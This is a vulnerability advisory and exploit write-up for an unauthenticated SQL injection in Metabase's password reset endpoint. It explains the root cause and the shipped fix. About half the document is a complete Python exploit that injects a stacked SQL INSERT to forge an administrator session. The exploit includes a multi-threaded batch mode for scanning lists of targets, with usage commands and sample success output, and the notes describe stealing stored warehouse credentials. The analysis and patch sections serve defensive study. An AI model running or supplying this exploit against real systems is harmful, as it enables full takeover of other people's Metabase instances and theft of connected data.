#Summary
CVE-2026-72898 is a critical, unauthenticated SQL injection in Metabase's password reset endpoint (POST /api/session/reset_password) that leads to complete administrator takeover of the instance. CVSS score: 10.0 CRITICAL. An attacker needs one HTTP request from any network-reachable host; no authentication, token, or user interaction required. The bug was discovered by Metabase during incident response on Metabase Cloud, where it was actively exploited as a zero-day starting around August 3, 2026. The vulnerability results from three ordinary design choices that combine into a critical flaw: an open request schema that accepts arbitrary keys, a merge operation that allows attacker-controlled values to survive into a query builder, and HoneySQL's rendering of map objects as unparameterised SQL.
#Affected versions
Metabase OSS and Enterprise (shared codebase):
- 0.58.0 up to (not including) 0.58.24
- 0.59.0 up to (not including) 0.59.21
- 0.60.0 up to (not including) 0.60.17
- 0.61.0 up to (not including) 0.61.11
- 0.62.0 up to (not including) 0.62.9
- 0.63.0 up to (not including) 0.63.5
Enterprise versions 1.58.x through 1.63.x track the same numbers; versions prior to 0.58.0 are unaffected.
#Default configuration
Affected by default. No special setup required - the vulnerability is present in a default Metabase installation with the embedded H2 application database, which ships out of the box.
#Root cause analysis
The bug is not a single flaw but a composition of three individual design choices that only become critical together. None is a defect on its own.
#Vulnerability code path
1. Open request schema allows arbitrary keys
The reset_password endpoint in src/metabase/session/api.clj validates its JSON body against a Malli :map schema:
(api.macros/defendpoint :post "/reset_password"
[request-body :- [:map
[:token ms/NonBlankString]
[:password ms/ValidPassword]]
request]
...)The Malli :map type is open by default, meaning validation only enforces that required keys are present with valid types - it does not strip unknown keys. The parameter decoder in src/metabase/api/macros.clj validates but never sanitises:
(mu/defn decode-and-validate-params
[params-type params-schema params]
(let [decoded ((decoder schema) params)]
(when-not (mr/validate schema decoded) ...)
decoded)) ; returns the full map, unknown keys intactThe JSON middleware (src/metabase/server/middleware/json.clj) parses with keywordisation, converting every JSON key verbatim to a Clojure keyword and recursively for nested objects. A body key "user-id" arrives as :user-id, and a nested object {"raw": "..."} arrives as the Clojure map {:raw "..."}.
2. merge lets caller-supplied keys survive the authentication pipeline
The login! method in src/metabase/auth_identity/provider.clj (line 292 in version 0.63.2) uses merge to combine the request body with authentication results:
(methodical/defmethod login! :around ::provider
[provider request]
(as-> (merge request (authenticate provider request)) $
(assoc $ :user
(or (when-let [user-id (:user-id $)]
(t2/select-one [:model/User :id :is_active :last_login :tenant_id] :id user-id))
...))
...))On a failed password reset, the authenticate result for the emailed-secret provider is exactly:
{:success? false
:error :invalid-token
:message "Reset token is invalid"}This result has no :user-id key. The merge operation adds the authentication response on top of the request, but since authenticate returns no :user-id, any :user-id from the request body survives intact into the next line, where it flows directly to the query builder.
3. HoneySQL renders a map value as raw SQL
The surviving :user-id value is passed to HoneySQL 2 (version 2.7.1350 in deps.edn):
(t2/select-one [:model/User :id :is_active :last_login :tenant_id] :id user-id)This compiles to {:where [:= :id user-id]} and is formatted by HoneySQL 2. When a value in expression position is a Clojure map, HoneySQL renders it as raw SQL rather than as a bound parameter:
value 1 => ["SELECT ... WHERE id = ?" 1]
value "string" => ["SELECT ... WHERE id = ?" "string"]
value {:raw "1) UNION SELECT ..."} => ["SELECT ... WHERE id = (1) UNION SELECT ..."] ; no params
value {:select [...]} => ["SELECT ... WHERE id = (SELECT ...)"] ; subquery#How input reaches the sink
An attacker-controlled JSON body with the key "user-id" carrying the value {"raw": "<SQL>"} reaches the Malli validator as :user-id with the map {:raw "<SQL>"}. The validator passes unknown keys through. The authentication failure ensures the merge does not overwrite :user-id. HoneySQL then splices the map's raw value directly into the compiled SQL, producing:
SELECT id, is_active, last_login, tenant_id FROM core_user WHERE id = (<SQL>)#Escalation to full takeover
Two additional details in the same :around method turn this from "a query runs" to "an attacker gains admin access":
Session creation does not require authentication success. The session is created off
(:user $)(the resolved user row), not off(:success? $). Any request that resolves an active user row creates a realcore_sessionentry, even though authentication failed. The endpoint still returns HTTP 400, but a session row exists.H2 executes stacked statements. The default embedded application database is H2, which accepts multiple statements through the JDBC prepared statement used at the sink. The injected SQL can therefore INSERT, UPDATE, or execute any statement, not just SELECT.
By injecting a stacked INSERT into core_session keyed to user_id = 1 (the first admin created during setup), an attacker forges a superuser session without any valid reset token.
#Why versions before 0.58.0 are unaffected
The vulnerability was introduced by the auth_identity provider refactor shipped in version 0.58.0. Before that refactor, there was no generic merge-the-request login pipeline, so attacker-controlled keys could not survive into the query builder. Versions 0.57 and earlier are safe.
#Patch diff
Metabase did not publish the fix to its public repository. The patched code was recovered by comparing the compiled class files from the vulnerable v0.63.2 and fixed v0.63.5 container images. The shipped fix applies two defences:
#What the fix does
1. Strip pipeline-owned keys from the merge base
A new constant authenticate-owned-keys is defined with the set of keys that the login pipeline derives internally:
(def ^:private authenticate-owned-keys
#{:user-id :user_id :user-data :auth-identity :success? :error :message :session
:jwt-data :claims :mfa/pending? :mfa/methods :mfa/first-factor
:tenant-slug :tenant-attributes :user-provisioning-enabled?})The merge operation now removes these keys from the request before merging:
(as-> (merge (apply dissoc request authenticate-owned-keys)
(authenticate provider request)) $This ensures that :user-id or :user_id (JSON keywordises both spellings verbatim) cannot be smuggled in from a request body.
2. Type-check the surviving value
Before using :user-id in the query, the fix validates that it is a positive integer:
(when-let [user-id (:user-id $)]
(if (pos-int? user-id)
(t2/select-one [:model/User :id :is_active :last_login :tenant_id] :id user-id)
(log/errorf "Provider %s returned a non-positive-int :user-id (type %s); refusing to resolve a user."
provider (some-> user-id class .getName))))Any non-integer or non-positive value is refused and logged at error level.
The patched builds (0.58.24, 0.59.21, 0.60.17, 0.61.11, 0.62.9, 0.63.5 and corresponding Enterprise versions) implement both defences.
#Proof of concept
#exploit.py - Metabase SQL Injection Admin Session Forgery PoC
#!/usr/bin/env python3
"""
CVE-2026-72898 - Metabase unauthenticated SQL injection -> admin session forgery
Affected: Metabase OSS 0.58.0-0.58.23, 0.59.0-0.59.20, 0.60.0-0.60.16,
0.61.0-0.61.10, 0.62.0-0.62.8, 0.63.0-0.63.4 (Enterprise 1.58.x-1.63.x)
Type: SQL Injection (unauthenticated) -> forged superuser session -> full takeover
Root cause (see EXPLOITATION.md):
POST /api/session/reset_password validates its JSON body against an OPEN Malli
map schema, so unknown keys are kept. The login! pipeline does
(merge request (authenticate ...)); on a failed reset the authenticate result
has no :user-id, so a body-supplied "user-id" survives into
(t2/select-one [:model/User ...] :id user-id). HoneySQL 2 renders a *map* value
in expression position as raw SQL, so a body value of {"raw": "<SQL>"} is
spliced unparameterised into:
SELECT id, is_active, last_login, tenant_id FROM core_user WHERE id = (<SQL>)
On the default embedded H2 application DB, stacked statements execute, so the
injected SQL can INSERT a core_session row keyed to admin (user 1) - forging an
unauthenticated superuser session in a single request.
Success is judged ONLY by step 2: GET /api/user/current with the forged cookie
returning HTTP 200 and a user object (is_superuser true for the admin). The step-1
response is always HTTP 400 and is meaningless as a signal.
Usage:
python exploit.py --host 127.0.0.1 --port 3000
python exploit.py --host https://metabase.corp.com
python exploit.py --host https://metabase.corp.com:8443 --user-id 1
python exploit.py --host 10.0.0.5 --port 3000 --payload "1) UNION SELECT 1,true,null,null --"
python exploit.py --list targets.txt --workers 20
"""
import argparse
import hashlib
import json
import secrets
import sys
import time
import uuid
from urllib.parse import urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
print("This exploit requires the 'requests' library: pip install requests")
sys.exit(2)
CVE_ID = "CVE-2026-72898"
VULN_TYPE = "SQL Injection (unauth) -> admin session forgery"
RESET_PATH = "/api/session/reset_password"
WHOAMI_PATH = "/api/user/current"
SESSION_COOKIE = "metabase.SESSION"
# Default injected SQL: forge a session row for the target user id on H2.
# {S} = new session-row id, {H} = sha512hex of the session key, {UID} = target user.
# Leading "1)" closes the parenthesis HoneySQL wraps the value in; trailing "--"
# comments out the closing ")". Stacked statements run on the default H2 backend.
DEFAULT_PAYLOAD = (
"1); INSERT INTO core_session (id, user_id, key_hashed, created_at) "
"VALUES ('{S}', {UID}, '{H}', CURRENT_TIMESTAMP); SELECT 1 --"
)
DEFAULT_TIMEOUT = 20
# --------------------------------------------------------------------------- #
# Standard output helpers
# --------------------------------------------------------------------------- #
def header(host: str, port: int) -> None:
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n: int, msg: str) -> None:
print(f"[STEP {n}] {msg}")
def section(label: str, content: str) -> None:
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success: bool, evidence: str) -> None:
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# Core logic
# --------------------------------------------------------------------------- #
def _base_url(host: str, port: int, use_tls: bool, path: str = "") -> str:
scheme = "https" if use_tls else "http"
netloc = host if host.startswith(("http://", "https://")) else f"{scheme}://{host}:{port}"
return netloc.rstrip("/") + path
def _make_session_key() -> tuple:
"""Return (K, H, S): plaintext key, its sha512 hex, and a fresh row id.
K is UUID-shaped (what the cookie carries). H = sha512hex(K) is what Metabase
stores in core_session.key_hashed. S is a 12-char non-UUID row id so it never
collides with a real UUID-keyed session. All are nonced per attempt.
"""
k = str(uuid.UUID(bytes=secrets.token_bytes(16)))
h = hashlib.sha512(k.encode("ascii")).hexdigest()
s = secrets.token_hex(6) # 12 hex chars, not UUID-shaped
return k, h, s
def _forge(base: str, payload_tmpl: str, user_id: int, s_id: str, h_hash: str) -> tuple:
"""Send the injection request (step 1). Returns (status, body_text).
A strong, complexity-valid password and a non-blank token are required to pass
schema validation before the body reaches the vulnerable sink; both are random
per run and never persist (the reset always fails).
"""
payload_sql = payload_tmpl.format(S=s_id, H=h_hash, UID=user_id)
token = secrets.token_hex(4) + "_" + secrets.token_hex(4)
password = "Aa1!" + secrets.token_urlsafe(12)
body = {
"token": token,
"password": password,
"user-id": {"raw": payload_sql},
}
r = requests.post(
base + RESET_PATH,
json=body,
headers={"Content-Type": "application/json"},
timeout=DEFAULT_TIMEOUT,
verify=False,
)
return r.status_code, r.text
def _whoami(base: str, key: str) -> tuple:
"""Step 2: use the forged session cookie. Returns (status, parsed_json_or_None, text)."""
r = requests.get(
base + WHOAMI_PATH,
cookies={SESSION_COOKIE: key},
timeout=DEFAULT_TIMEOUT,
verify=False,
)
try:
return r.status_code, r.json(), r.text
except ValueError:
return r.status_code, None, r.text
def _try_exploit(host: str, port: int, use_tls: bool,
payload_tmpl: str = DEFAULT_PAYLOAD, user_id: int = 1,
path: str = "") -> tuple:
"""Silent probe for --list scan mode. Returns (success, evidence). Never prints/exits."""
try:
base = _base_url(host, port, use_tls, path)
key, h_hash, s_id = _make_session_key()
try:
_forge(base, payload_tmpl, user_id, s_id, h_hash)
except requests.RequestException as e:
return False, f"unreachable ({e.__class__.__name__})"
time.sleep(1.0) # let the injected INSERT commit before we use the cookie
status, data, _ = _whoami(base, key)
if status == 200 and isinstance(data, dict) and data.get("id") is not None:
email = data.get("email", "?")
sup = data.get("is_superuser", False)
return True, f"forged session as '{email}' (id={data.get('id')}, superuser={sup})"
return False, f"session not forged (whoami HTTP {status}) - patched or non-H2 backend"
except Exception as e: # noqa: BLE001 - probe must never raise
return False, f"error ({e.__class__.__name__})"
def exploit(host: str, port: int, use_tls: bool, payload_tmpl: str, user_id: int,
path: str = "") -> None:
header(host, port)
base = _base_url(host, port, use_tls, path)
step(1, "Generating a per-run session key and forging an admin session row via SQLi")
key, h_hash, s_id = _make_session_key()
print(f" session key (cookie value) : {key}")
print(f" core_session.key_hashed : {h_hash[:32]}...")
print(f" core_session.id (row) : {s_id}")
print(f" target user_id : {user_id}")
try:
st1, body1 = _forge(base, payload_tmpl, user_id, s_id, h_hash)
except requests.RequestException as e:
section("CONNECTION ERROR", str(e))
done(False, f"could not reach {base}{RESET_PATH} ({e.__class__.__name__})")
section("STEP 1 RESPONSE (expected HTTP 400 - meaningless as a signal)",
f"HTTP {st1}\n{body1[:500]}")
# A patched build rejects the open-map smuggling at schema validation.
if "disallowed key" in body1 or "specific-errors" in body1:
section("PATCH INDICATOR",
"Response rejected 'user-id' as a disallowed key - target strips "
"pipeline-owned keys before merge (fixed build).")
done(False, "target appears PATCHED - injected key rejected at schema validation")
step(2, "Waiting for the injected INSERT to commit, then using the forged cookie")
time.sleep(1.0)
st2, data, text2 = _whoami(base, key)
if st2 == 200 and isinstance(data, dict) and data.get("id") is not None:
pretty = json.dumps(
{k: data.get(k) for k in
("id", "email", "first_name", "last_name", "is_superuser", "is_active")},
indent=2)
section("AUTHENTICATED RESPONSE (GET /api/user/current)", pretty)
email = data.get("email", "?")
sup = data.get("is_superuser", False)
role = "SUPERUSER" if sup else "authenticated user"
done(True,
f"Unauthenticated {role} takeover - forged session as '{email}' "
f"(id={data.get('id')}, is_superuser={sup}). Cookie: {SESSION_COOKIE}={key}")
else:
section("STEP 2 RESPONSE", f"HTTP {st2}\n{text2[:400]}")
done(False,
f"forged cookie rejected (whoami HTTP {st2}) - target patched, "
f"or application DB is not H2 (stacked write did not land)")
# --------------------------------------------------------------------------- #
# Batch scan mode
# --------------------------------------------------------------------------- #
def _parse_target(line: str, default_port: int, default_path: str = "/") -> tuple:
"""One target line -> (host, port, use_tls, path), or None to skip."""
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file: str, default_port: int, workers: int = 10,
payload_tmpl: str = DEFAULT_PAYLOAD, user_id: int = 1) -> None:
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, payload_tmpl, user_id,
path if path not in ("", "/") else "")
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
# --------------------------------------------------------------------------- #
# Entry point
# --------------------------------------------------------------------------- #
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://host:8443)")
target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=3000, help="Target port (default: 3000)")
parser.add_argument("--payload", default=DEFAULT_PAYLOAD,
help="Raw SQL spliced into the user-id field. Default forges an "
"admin session; use {S}/{H}/{UID} placeholders for a custom "
"session-forgery template, or a bare fragment for a raw probe.")
parser.add_argument("--user-id", type=int, default=1,
help="core_user id to forge a session for (default: 1 = first admin)")
parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers,
payload_tmpl=args.payload, user_id=args.user_id)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, args.payload, args.user_id,
path if path not in ("", "/") else "")#Usage
Single target:
python exploit.py --host metabase.example.com
python exploit.py --host 192.0.2.10 --port 3000
python exploit.py --host https://metabase.corp.com:8443Batch scan:
python exploit.py --list targets.txt --workers 20Expected output on a vulnerable target:
============================================================
ALIM EXPLOIT CVE-2026-72898
Type: SQL Injection (unauth) -> admin session forgery | Target: 192.0.2.10:3000
============================================================
[STEP 1] Generating a per-run session key and forging an admin session row via SQLi
session key (cookie value) : cf3179f2-54d9-a790-03e5-65fe15c7970f
core_session.key_hashed : 106a66795fb7037160507f52a9f6fbfb...
core_session.id (row) : d54f9436d6be
target user_id : 1
--- STEP 1 RESPONSE (expected HTTP 400 - meaningless as a signal) ---
HTTP 400
{"errors":{"password":"Invalid reset token"}}
---
[STEP 2] Waiting for the injected INSERT to commit, then using the forged cookie
--- AUTHENTICATED RESPONSE (GET /api/user/current) ---
{
"id": 1,
"email": "[email protected]",
"is_superuser": true,
"is_active": true
}
---
============================================================
RESULT : SUCCESS
EVIDENCE: Unauthenticated SUPERUSER takeover - forged session as '[email protected]' (id=1, is_superuser=True)
============================================================On a patched target, the exploit detects the fix and exits immediately:
--- STEP 1 RESPONSE (expected HTTP 400 - meaningless as a signal) ---
HTTP 400
{"specific-errors":{"user-id":["disallowed key, received: {:raw ...}"]},"errors":{"user-id":"unexpected key"}}
---
--- PATCH INDICATOR ---
Response rejected 'user-id' as a disallowed key - target strips pipeline-owned keys before merge (fixed build).
---
============================================================
RESULT : FAILURE
EVIDENCE: target appears PATCHED - injected key rejected at schema validation
============================================================#Exploitation notes
#Preconditions
- Metabase instance is network-reachable (local or remote).
- Default embedded H2 application database is in use (required for stacked-statement writes; PostgreSQL and MySQL/MariaDB without
allowMultiQueriescannot execute the one-shot session forgery, though the SQL injection itself is still exploitable as a blind oracle). - Instance has completed the setup wizard and an admin account exists.
- No special authentication, token, or user interaction required.
#Reliability
Extremely reliable. The exploit is deterministic on any vulnerable version using the default H2 application database. A single HTTP request forges a superuser session; success is judged only by the second request validating the session, making false positives impossible. The exploit nonces all values (session key, row id, password, reset token) per attempt, so repeated runs against the same target do not collide.
#Impact
Complete administrator takeover of the Metabase instance from an unauthenticated start. The attacker gains:
- Full read and write access to the Metabase application database (
core_*tables). - Access to all connected data-warehouse credentials, stored in plaintext in
metabase_database.details. - Administrative control over data source configuration, users, and permissions.
- Ability to execute arbitrary queries against every connected database.
On Metabase Cloud, the attack surface included theft of customer datasets and cloud-provider credentials.
#Chaining potential
The SQL injection itself is fully controlled and runs in the context of the H2 database user. On a PostgreSQL or MySQL backend (without stacked statements), the injection becomes a powerful blind oracle through timing-based side channels or boolean conditions on the WHERE clause. The forged session grants administrative API access, opening the entire Metabase application to further exploitation (custom expressions, parameterized queries, and plugin execution all accept user input).
#Timeline
- ~August 3, 2026: Metabase Cloud infrastructure attacked using this vulnerability as a zero-day. The vendor's incident investigation identified the flaw in the password reset endpoint.
- August 6, 2026: GHSA-vwf4-m7j8-wcjf published by Metabase maintainer
perivamsi. - August 10, 2026: CVE-2026-72898 published by NVD; patched versions released (0.58.24, 0.59.21, 0.60.17, 0.61.11, 0.62.9, 0.63.5 and corresponding Enterprise versions).
- August 10, 2026: Public proof-of-concept exploits released by third parties.
#References
- CVE: CVE-2026-72898
- GHSA: GHSA-vwf4-m7j8-wcjf
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-72898
- Vendor Security Update: https://www.metabase.com/blog/security-update
- GitHub Repository: https://github.com/metabase/metabase